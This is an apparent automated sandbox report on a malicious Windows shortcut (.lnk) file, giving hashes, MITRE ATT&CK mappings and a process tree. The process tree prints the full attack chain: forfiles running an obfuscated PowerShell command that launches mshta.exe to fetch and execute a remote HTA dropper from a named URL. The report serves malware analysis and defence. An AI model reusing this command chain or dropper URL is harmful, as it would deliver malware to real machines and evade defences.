c3dcd725be7a2a134c82b24d55992e4940526763ca9c607a82f423527085485c

Analysis

max time kernel
93s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
20/09/2024, 01:41

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General

Target

c3dcd725be7a2a134c82b24d55992e4940526763ca9c607a82f423527085485c.lnk
Size

272KB
MD5

47c69db79640bcff28c4609d7cb9fdf1
SHA1

9b7d6e44525f5c7b1ad0ad50232ae2f00ef19c21
SHA256

c3dcd725be7a2a134c82b24d55992e4940526763ca9c607a82f423527085485c
SHA512

97cfbb41da9521c45c4b204c0c8cc6a551921b39f052d4b68787668e4b16185c7e70e380c25fc05731a4c9fe2fa491682fc09ceee8dbf38a11b73f1ecaa83ee4
SSDEEP

24:8Wi+1hAh52pyAzPkr+/4h+sPSLDgdd79ds6xmab/U3IVqm:8WTo8zmbQEdJ9KabU3Kq

Score

10^/10

defense_evasion

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://siff-sd.com/temp/Docs-08-2024

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	4960	mshta.exe
13	4960	mshta.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	cmd.exe

Indirect Command Execution 1 TTPs 1 IoCs

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

defense_evasion

Indirect Command Execution

T1202

pid	Process
1728	forfiles.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4968	powershell.exe
4968	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4968	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3580 wrote to memory of 1728	3580	cmd.exe	83
PID 3580 wrote to memory of 1728	3580	cmd.exe	83
PID 1728 wrote to memory of 4968	1728	forfiles.exe	84
PID 1728 wrote to memory of 4968	1728	forfiles.exe	84
PID 4968 wrote to memory of 4960	4968	powershell.exe	85
PID 4968 wrote to memory of 4960	4968	powershell.exe	85

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\c3dcd725be7a2a134c82b24d55992e4940526763ca9c607a82f423527085485c.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3580
- C:\Windows\System32\forfiles.exe
  "C:\Windows\System32\forfiles.exe" /p C:\Windows /m write.exe /c "powershell . \*i*\*2\msh*e https://siff-sd.com/temp/Docs-08-2024
  2⤵
  - Indirect Command Execution
  - Suspicious use of WriteProcessMemory
  PID:1728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    . \*i*\*2\msh*e https://siff-sd.com/temp/Docs-08-2024
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4968
  - - C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://siff-sd.com/temp/Docs-08-2024
      4⤵
      Blocklisted process makes network request
      PID:4960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indirect Command Execution

T1202

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ua5pn21j.blx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4968-0-0x00007FFD67A63000-0x00007FFD67A65000-memory.dmp

Filesize
8KB

Download
memory/4968-1-0x0000021EB7120000-0x0000021EB7142000-memory.dmp

Filesize
136KB

Download
memory/4968-11-0x00007FFD67A60000-0x00007FFD68521000-memory.dmp

Filesize
10.8MB

Download
memory/4968-12-0x00007FFD67A60000-0x00007FFD68521000-memory.dmp

Filesize
10.8MB

Download
memory/4968-15-0x00007FFD67A60000-0x00007FFD68521000-memory.dmp

Filesize
10.8MB

Download